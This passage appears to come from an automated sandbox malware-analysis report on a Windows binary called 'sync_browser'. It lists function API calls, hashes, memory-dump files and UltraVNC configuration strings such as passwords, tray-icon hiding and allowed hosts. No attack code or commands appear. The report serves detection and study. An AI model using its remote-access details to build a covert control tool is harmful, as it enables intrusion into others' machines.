Opcode Fuzzy Hash: e4fa7076d3caa874285a54a3ee283af3e05e33e5fe15350dd15a6e5305daa52a
Instruction Fuzzy Hash: 5B312923A18A8A47EA706F25B8647B6E390FF85F59F841132FD4D83A54DF3ED8018721

Function 00007FF7E5139234 Relevance: 4.5, APIs: 3, Instructions: 46memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 00007FF7E5139257
HeapAlloc.KERNEL32(?,?,00000000,00007FF7E513331F,?,?,?,00007FF7E51337F7,?,?,?,00007FF7E512FFD1), ref: 00007FF7E513928B
_callnewh.LIBCMT ref: 00007FF7E51392A2

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: AllocHeap_callnewh_errno
String ID:
API String ID: 849339952-0
Opcode ID: 168cf3911275e585727ccf2278bdf0a034da8738718f6c23c6dd903017626324
Instruction ID: 3cd3917b1f309cb7fe38012d8c6786d28f4dd7a5d528e0f692f5331715611e95
Opcode Fuzzy Hash: 168cf3911275e585727ccf2278bdf0a034da8738718f6c23c6dd903017626324
Instruction Fuzzy Hash: 33118611B0DA4A81FE557F51B674778F2D19F44FA0F894632C91D86ACCDE7CA4408662

Function 00007FF7E5084140 Relevance: 3.0, APIs: 2, Instructions: 44windowCOMMONLIBRARYCODE

Download Yara Rule

APIs

SendMessageA.USER32 ref: 00007FF7E50841C0
FreeLibrary.KERNELBASE(?,?,?,00007FF7E5084124), ref: 00007FF7E50841CF

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: FreeLibraryMessageSend
String ID:
API String ID: 3583424976-0
Opcode ID: 5a9c5ba6fc8a087abeda093f91cff5a2c035cde94b70426cc823780c6ac37473
Instruction ID: 443c1ce0d1c28eb6e880eccc6cd3c3eb2ff1895d87efc868216599975c14abd6
Opcode Fuzzy Hash: 5a9c5ba6fc8a087abeda093f91cff5a2c035cde94b70426cc823780c6ac37473
Instruction Fuzzy Hash: ED111C29F0A64995FE59FBB1A471B799350DF94F58F880532DD0E86A498E3CF440D322

Function 00007FF7E50DCBC0 Relevance: 3.0, APIs: 2, Instructions: 32networkCOMMON

Download Yara Rule

APIs

socket.WS2_32 ref: 00007FF7E50DCBE6

Part of subcall function 00007FF7E50DCC40: shutdown.WS2_32 ref: 00007FF7E50DCC70
Part of subcall function 00007FF7E50DCC40: closesocket.WS2_32 ref: 00007FF7E50DCC7A

setsockopt.WS2_32 ref: 00007FF7E50DCC16

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: closesocketsetsockoptshutdownsocket
String ID:
API String ID: 3513852771-0
Opcode ID: 312866c292d7188c2f9fc1aa8d6132574570804f7b68aec9e7564259e9557771
Instruction ID: acc562e9df2b76ea44fe2db2423db3f7e757c70217171ec2ec4183375e6cc3d1
Opcode Fuzzy Hash: 312866c292d7188c2f9fc1aa8d6132574570804f7b68aec9e7564259e9557771
Instruction Fuzzy Hash: 7AF0C2B2A1820B87EB60AF34D8213B5A350BF40B14F540636EB19C62D4EB7ED1858B11

Function 00007FF7E50DD170 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FF7E50DD1AA
setsockopt.WS2_32 ref: 00007FF7E50DD1D1

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: 6674a668f832169722ee7df8d3b9e7f845b9a455c109241ca5fb51d15d315839
Instruction ID: 5a391608d77334254a758ef01733d48d5a7849293f4fb9a1146302fcfe9e96f9
Opcode Fuzzy Hash: 6674a668f832169722ee7df8d3b9e7f845b9a455c109241ca5fb51d15d315839
Instruction Fuzzy Hash: B4F0FC7561414653E731DF70E404375E350FF84B15F540A32DAACCAAD4DBBCC1998B10

Function 00007FF7E50DD1F0 Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00007FF7E50DD20D

Part of subcall function 00007FF7E50DDD90: select.WS2_32 ref: 00007FF7E50DDE1D

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CountTickselect
String ID:
API String ID: 2475007269-0
Opcode ID: 84556e81f7513f2c210acb167795192905406201bcbf957d422c0e9d6dbf8d4c
Instruction ID: f2bfcbce57041e812ac80d3764c2786af938b4d05fa585e37cee16694b4cff2f
Opcode Fuzzy Hash: 84556e81f7513f2c210acb167795192905406201bcbf957d422c0e9d6dbf8d4c
Instruction Fuzzy Hash: FF31AE7760464587EB04AF21E5A42ADB762EB88F84F49803ADF098B789DF38D4458B60

Function 00007FF7E51332EC Relevance: 1.3, APIs: 1, Instructions: 36sleepCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF7E5139234: _errno.LIBCMT ref: 00007FF7E5139257

Sleep.KERNEL32(?,?,?,00007FF7E51337F7,?,?,?,00007FF7E512FFD1,?,?,?,?,00007FF7E5128C19), ref: 00007FF7E5133331

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Sleep_errno
String ID:
API String ID: 1068366078-0
Opcode ID: e0fad309830d1d7079ffb5554beb775af7228a8f16d0edcc9117263fd617f576
Instruction ID: 71bbf272e1433333b6facc21364095046967a39cb2d8c789001c277813489dea
Opcode Fuzzy Hash: e0fad309830d1d7079ffb5554beb775af7228a8f16d0edcc9117263fd617f576
Instruction Fuzzy Hash: 1C01F722A14A8985EB54AF17A46012DF7A0E784FD0F894032DE5D43794CF3CE851C705

Non-executed Functions

Function 00007FF7E50781AD Relevance: 463.1, APIs: 192, Strings: 72, Instructions: 1063COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E507D390: GetModuleFileNameA.KERNEL32 ref: 00007FF7E507D3BB

Part of subcall function 00007FF7E507D480: GetModuleFileNameA.KERNEL32 ref: 00007FF7E507D4AB

Part of subcall function 00007FF7E5127DE8: _errno.LIBCMT ref: 00007FF7E5127E00
Part of subcall function 00007FF7E5127DE8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E5127E0C

GetPrivateProfileIntA.KERNEL32 ref: 00007FF7E5078270
wsprintfA.USER32 ref: 00007FF7E5078290
WritePrivateProfileStringA.KERNEL32 ref: 00007FF7E50782B0
GetLastError.KERNEL32 ref: 00007FF7E50782BA

Part of subcall function 00007FF7E507A040: OpenInputDesktop.USER32(?,?,?,00007FF7E50782D7), ref: 00007FF7E507A07A
Part of subcall function 00007FF7E507A040: GetCurrentThreadId.KERNEL32 ref: 00007FF7E507A083
Part of subcall function 00007FF7E507A040: GetThreadDesktop.USER32(?,?,?,00007FF7E50782D7), ref: 00007FF7E507A08B
Part of subcall function 00007FF7E507A040: SetThreadDesktop.USER32(?,?,?,00007FF7E50782D7), ref: 00007FF7E507A0A6
Part of subcall function 00007FF7E507A040: MessageBoxA.USER32 ref: 00007FF7E507A0B7
Part of subcall function 00007FF7E507A040: SetThreadDesktop.USER32(?,?,?,00007FF7E50782D7), ref: 00007FF7E507A0C2
Part of subcall function 00007FF7E507A040: CloseDesktop.USER32(?,?,?,00007FF7E50782D7), ref: 00007FF7E507A0CB

GetPrivateProfileIntA.KERNEL32 ref: 00007FF7E5078309
wsprintfA.USER32 ref: 00007FF7E5078320
WritePrivateProfileStringA.KERNEL32 ref: 00007FF7E5078340
GetPrivateProfileIntA.KERNEL32 ref: 00007FF7E507835B
wsprintfA.USER32 ref: 00007FF7E5078372
WritePrivateProfileStringA.KERNEL32 ref: 00007FF7E5078392
GetPrivateProfileStringA.KERNEL32 ref: 00007FF7E50783C1
GetPrivateProfileStringA.KERNEL32 ref: 00007FF7E50783F0
GetPrivateProfileStringA.KERNEL32 ref: 00007FF7E507841F
WritePrivateProfileStringA.KERNEL32 ref: 00007FF7E507843B
WritePrivateProfileStringA.KERNEL32 ref: 00007FF7E5078457
WritePrivateProfileStringA.KERNEL32 ref: 00007FF7E5078473
GetPrivateProfileIntA.KERNEL32 ref: 00007FF7E507848E
GetPrivateProfileIntA.KERNEL32 ref: 00007FF7E50784AB
GetPrivateProfileIntA.KERNEL32 ref: 00007FF7E50784C8
wsprintfA.USER32 ref: 00007FF7E50784E1
WritePrivateProfileStringA.KERNEL32 ref: 00007FF7E5078501

Strings

LocalInputsDisabled, xrefs: 00007FF7E50792B0, 00007FF7E50793B6
LoopbackOnly, xrefs: 00007FF7E5078653, 00007FF7E50787AD
Avilog, xrefs: 00007FF7E5078594, 00007FF7E50786C8
SingleWindowName, xrefs: 00007FF7E50795CC, 00007FF7E5079860
RemoveWallpaper, xrefs: 00007FF7E5078FCD, 00007FF7E5079026
passwd2, xrefs: 00007FF7E5079225, 00007FF7E5079255
locdom1, xrefs: 00007FF7E507847D, 00007FF7E50784F3
TurboMode, xrefs: 00007FF7E5079473, 00007FF7E5079610
QueryTimeout, xrefs: 00007FF7E5079090, 00007FF7E5079140
admin, xrefs: 00007FF7E5078259, 00007FF7E50782A9, 00007FF7E50782EF, 00007FF7E5078339, 00007FF7E5078351, 00007FF7E507838B, 00007FF7E5078580, 00007FF7E507859B, 00007FF7E50785CF, 00007FF7E5078602, 00007FF7E5078622, 00007FF7E507863D, 00007FF7E507865A, 00007FF7E5078698, 00007FF7E50786CF, 00007FF7E50786EF, 00007FF7E507870F, 00007FF7E5078746, 00007FF7E507877D, 00007FF7E50787B4, 00007FF7E50787CC, 00007FF7E50787E7, 00007FF7E5078807, 00007FF7E5078827, 00007FF7E5078866, 00007FF7E507889D, 00007FF7E50788D4, 00007FF7E507890B, 00007FF7E5078936, 00007FF7E5078962, 00007FF7E507898D, 00007FF7E50789A6, 00007FF7E50789D4, 00007FF7E50789FC, 00007FF7E5078A14, 00007FF7E5078A3A, 00007FF7E5078A52, 00007FF7E5078A93, 00007FF7E5078ACA, 00007FF7E5078B01, 00007FF7E5078B19, 00007FF7E5078B37, 00007FF7E5078B57, 00007FF7E5078B77, 00007FF7E5078B94, 00007FF7E5078BB5, 00007FF7E5078BD6, 00007FF7E5078C16, 00007FF7E5078C4D, 00007FF7E5078C84, 00007FF7E5078CBB, 00007FF7E5078CF2, 00007FF7E5078D29, 00007FF7E5078D60, 00007FF7E5078D78, 00007FF7E5078D96, 00007FF7E5078DB6, 00007FF7E5078DDE, 00007FF7E5078DF6, 00007FF7E5078E14, 00007FF7E5078E32, 00007FF7E5078E72, 00007FF7E5078EA9, 00007FF7E5078EE0, 00007FF7E5078F17, 00007FF7E5078F4E, 00007FF7E5078F85, 00007FF7E5078FBC, 00007FF7E5078FD4, 00007FF7E5078FEF, 00007FF7E507902D, 00007FF7E5079064, 00007FF7E507907C, 00007FF7E5079097, 00007FF7E50790B4, 00007FF7E50790D1, 00007FF7E5079110, 00007FF7E5079147, 00007FF7E507917E, 00007FF7E50791B5, 00007FF7E507927F, 00007FF7E507929A, 00007FF7E50792B7, 00007FF7E50792D4, 00007FF7E50792F1, 00007FF7E507930F, 00007FF7E507934F, 00007FF7E5079386, 00007FF7E50793BD, 00007FF7E50793F4, 00007FF7E507942B, 00007FF7E5079462
Permission denied:Uncheck [_] Protect my computer... in run as dialog or use user with write permission., xrefs: 00007FF7E50782C5
IdleTimeout, xrefs: 00007FF7E5078E2B, 00007FF7E5078FB5
group2, xrefs: 00007FF7E50783D7, 00007FF7E5078446
accept_reject_mesg, xrefs: 00007FF7E50785FB, 00007FF7E5078708
EnableVirtual, xrefs: 00007FF7E507957C, 00007FF7E5079807
DisableTrayIcon, xrefs: 00007FF7E5078636, 00007FF7E5078776
admin_auth, xrefs: 00007FF7E50783AF, 00007FF7E50783DE, 00007FF7E507840D, 00007FF7E5078431, 00007FF7E507844D, 00007FF7E5078469, 00007FF7E5078484, 00007FF7E507849F, 00007FF7E50784BC, 00007FF7E50784FA, 00007FF7E5078531, 00007FF7E5078568
DSMPluginConfig, xrefs: 00007FF7E50789CD, 00007FF7E50789F5
AllowProperties, xrefs: 00007FF7E5078A33, 00007FF7E5078AC3
FTUserImpersonation, xrefs: 00007FF7E5078B30, 00007FF7E5078C46
locdom2, xrefs: 00007FF7E5078498, 00007FF7E507852A
EnableJapInput, xrefs: 00007FF7E50792CD, 00007FF7E50793ED
kickrdp, xrefs: 00007FF7E50792EA, 00007FF7E5079424
PollFullScreen, xrefs: 00007FF7E50794C8, 00007FF7E50796B5
QueryAccept, xrefs: 00007FF7E50790AD, 00007FF7E5079177
AuthHosts, xrefs: 00007FF7E507895B, 00007FF7E507899F
BlankInputsOnly, xrefs: 00007FF7E5078B70, 00007FF7E5078CB4
primary, xrefs: 00007FF7E5078BAE, 00007FF7E5078D22
QueryIfNoLogon, xrefs: 00007FF7E50790CA, 00007FF7E50791AE
AutoPortSelect, xrefs: 00007FF7E5078DD7, 00007FF7E5078F10
poll, xrefs: 00007FF7E507947A, 00007FF7E5079495, 00007FF7E50794B2, 00007FF7E50794CF, 00007FF7E50794EC, 00007FF7E507950D, 00007FF7E5079528, 00007FF7E5079546, 00007FF7E5079565, 00007FF7E5079583, 00007FF7E50795A2, 00007FF7E50795D8, 00007FF7E5079617, 00007FF7E507964E, 00007FF7E5079685, 00007FF7E50796BC, 00007FF7E50796F3, 00007FF7E507972A, 00007FF7E5079765, 00007FF7E507979C, 00007FF7E50797D5, 00007FF7E507980E, 00007FF7E5079847, 00007FF7E5079867, 00007FF7E507987F, 00007FF7E50798B9
EnableHook, xrefs: 00007FF7E507955E, 00007FF7E50797CE
UltraVNC, xrefs: 00007FF7E50791D4, 00007FF7E50791FF, 00007FF7E507922C, 00007FF7E507925C
AuthRequired, xrefs: 00007FF7E5078800, 00007FF7E50788CD
LockSetting, xrefs: 00007FF7E5079293, 00007FF7E507937F
PollForeground, xrefs: 00007FF7E50794AB, 00007FF7E507967E
HTTPPortNumber, xrefs: 00007FF7E5078E0D, 00007FF7E5078F7E
locdom3, xrefs: 00007FF7E50784B5, 00007FF7E5078561
UseRegistry, xrefs: 00007FF7E5078252, 00007FF7E50782A2
EnableDriver, xrefs: 00007FF7E507953F, 00007FF7E5079795
AllowShutdown, xrefs: 00007FF7E5078A0D, 00007FF7E5078A8C
AllowEditClients, xrefs: 00007FF7E5078A4B, 00007FF7E5078AFA
NewMSLogon, xrefs: 00007FF7E507834A, 00007FF7E5078384
group3, xrefs: 00007FF7E5078406, 00007FF7E5078462
OnlyPollOnEvent, xrefs: 00007FF7E5079506, 00007FF7E5079723
clearconsole, xrefs: 00007FF7E5079308, 00007FF7E507945B
passwd, xrefs: 00007FF7E50791CD, 00007FF7E50791F8
ConnectPriority, xrefs: 00007FF7E5078820, 00007FF7E5078904
DebugLevel, xrefs: 00007FF7E507861B, 00007FF7E507873F
MSLogonRequired, xrefs: 00007FF7E50782E8, 00007FF7E5078332
group1, xrefs: 00007FF7E50783A8, 00007FF7E507842A
DSMPlugin, xrefs: 00007FF7E507892F, 00007FF7E5078986
HTTPConnect, xrefs: 00007FF7E5078D8F, 00007FF7E5078EA2
, xrefs: 00007FF7E50795DF
BlankMonitorEnabled, xrefs: 00007FF7E5078B50, 00007FF7E5078C7D
QuerySetting, xrefs: 00007FF7E5079075, 00007FF7E5079109
AllowLoopback, xrefs: 00007FF7E50787E0, 00007FF7E5078896
MaxCpu, xrefs: 00007FF7E5079521, 00007FF7E507975E, 00007FF7E5079878, 00007FF7E50798B2
DebugMode, xrefs: 00007FF7E5078579, 00007FF7E5078691
SocketConnect, xrefs: 00007FF7E5078D71, 00007FF7E5078E6B
InputsEnabled, xrefs: 00007FF7E5079278, 00007FF7E5079348
FileTransferEnabled, xrefs: 00007FF7E5078B12, 00007FF7E5078C0F
PortNumber, xrefs: 00007FF7E5078DEF, 00007FF7E5078F47
UseDSMPlugin, xrefs: 00007FF7E50787C5, 00007FF7E507885F
OnlyPollConsole, xrefs: 00007FF7E50794E5, 00007FF7E50796EC
XDMCPConnect, xrefs: 00007FF7E5078DAF, 00007FF7E5078ED9
RemoveAero, xrefs: 00007FF7E5078FE8, 00007FF7E507905D
path, xrefs: 00007FF7E50785C3, 00007FF7E50786E8
secondary, xrefs: 00007FF7E5078BCF, 00007FF7E5078D59
DefaultScale, xrefs: 00007FF7E5078B8D, 00007FF7E5078CEB
SingleWindow, xrefs: 00007FF7E507959B, 00007FF7E5079840
PollUnderCursor, xrefs: 00007FF7E507948E, 00007FF7E5079647

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: PrivateProfile$String$Write$Desktop$Threadwsprintf$FileModuleName$CloseCurrentErrorInputLastMessageOpen_errno_invalid_parameter_noinfo
String ID: $AllowEditClients$AllowLoopback$AllowProperties$AllowShutdown$AuthHosts$AuthRequired$AutoPortSelect$Avilog$BlankInputsOnly$BlankMonitorEnabled$ConnectPriority$DSMPlugin$DSMPluginConfig$DebugLevel$DebugMode$DefaultScale$DisableTrayIcon$EnableDriver$EnableHook$EnableJapInput$EnableVirtual$FTUserImpersonation$FileTransferEnabled$HTTPConnect$HTTPPortNumber$IdleTimeout$InputsEnabled$LocalInputsDisabled$LockSetting$LoopbackOnly$MSLogonRequired$MaxCpu$NewMSLogon$OnlyPollConsole$OnlyPollOnEvent$Permission denied:Uncheck [_] Protect my computer... in run as dialog or use user with write permission.$PollForeground$PollFullScreen$PollUnderCursor$PortNumber$QueryAccept$QueryIfNoLogon$QuerySetting$QueryTimeout$RemoveAero$RemoveWallpaper$SingleWindow$SingleWindowName$SocketConnect$TurboMode$UltraVNC$UseDSMPlugin$UseRegistry$XDMCPConnect$accept_reject_mesg$admin$admin_auth$clearconsole$group1$group2$group3$kickrdp$locdom1$locdom2$locdom3$passwd$passwd2$path$poll$primary$secondary
API String ID: 634683900-3478490838
Opcode ID: 2effa7899f974a3009ccd12de8866d22f8568e5a4afa6748285aa8aa378eceda
Instruction ID: 143d22988c2d1ae8b32df100507fc92a057b6131858a9b1eb46837710a979741
Opcode Fuzzy Hash: 2effa7899f974a3009ccd12de8866d22f8568e5a4afa6748285aa8aa378eceda
Instruction Fuzzy Hash: D8E29A75608A4FD5EB20AF64F8646E4A721FB44B98FC05033D50D8756CEE7CE60AC7A2

Function 00007FF7E507E1D0 Relevance: 457.8, APIs: 190, Strings: 71, Instructions: 1023COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E5127978: malloc.LIBCMT ref: 00007FF7E5127992

Part of subcall function 00007FF7E5127978: _callnewh.LIBCMT ref: 00007FF7E5127986

GetPrivateProfileIntA.KERNEL32 ref: 00007FF7E507E253
wsprintfA.USER32 ref: 00007FF7E507E268
WritePrivateProfileStringA.KERNEL32 ref: 00007FF7E507E284
GetLastError.KERNEL32 ref: 00007FF7E507E28E
_itow.LIBCMT ref: 00007FF7E507E2A1

Part of subcall function 00007FF7E51295C0: xtoa.LIBCMT ref: 00007FF7E51295DC

Part of subcall function 00007FF7E507A040: OpenInputDesktop.USER32(?,?,?,00007FF7E50782D7), ref: 00007FF7E507A07A
Part of subcall function 00007FF7E507A040: GetCurrentThreadId.KERNEL32 ref: 00007FF7E507A083
Part of subcall function 00007FF7E507A040: GetThreadDesktop.USER32(?,?,?,00007FF7E50782D7), ref: 00007FF7E507A08B
Part of subcall function 00007FF7E507A040: SetThreadDesktop.USER32(?,?,?,00007FF7E50782D7), ref: 00007FF7E507A0A6
Part of subcall function 00007FF7E507A040: MessageBoxA.USER32 ref: 00007FF7E507A0B7
Part of subcall function 00007FF7E507A040: SetThreadDesktop.USER32(?,?,?,00007FF7E50782D7), ref: 00007FF7E507A0C2
Part of subcall function 00007FF7E507A040: CloseDesktop.USER32(?,?,?,00007FF7E50782D7), ref: 00007FF7E507A0CB

GetPrivateProfileIntA.KERNEL32 ref: 00007FF7E507E2E2
wsprintfA.USER32 ref: 00007FF7E507E2F7
WritePrivateProfileStringA.KERNEL32 ref: 00007FF7E507E313
GetPrivateProfileIntA.KERNEL32 ref: 00007FF7E507E32D
wsprintfA.USER32 ref: 00007FF7E507E342
WritePrivateProfileStringA.KERNEL32 ref: 00007FF7E507E35E
GetPrivateProfileStringA.KERNEL32 ref: 00007FF7E507E389
GetPrivateProfileStringA.KERNEL32 ref: 00007FF7E507E3B4
GetPrivateProfileStringA.KERNEL32 ref: 00007FF7E507E3DF
WritePrivateProfileStringA.KERNEL32 ref: 00007FF7E507E3F9
WritePrivateProfileStringA.KERNEL32 ref: 00007FF7E507E413
WritePrivateProfileStringA.KERNEL32 ref: 00007FF7E507E42D
GetPrivateProfileIntA.KERNEL32 ref: 00007FF7E507E447
GetPrivateProfileIntA.KERNEL32 ref: 00007FF7E507E463
GetPrivateProfileIntA.KERNEL32 ref: 00007FF7E507E47F
wsprintfA.USER32 ref: 00007FF7E507E496
WritePrivateProfileStringA.KERNEL32 ref: 00007FF7E507E4B2
wsprintfA.USER32 ref: 00007FF7E507E4C7

Strings

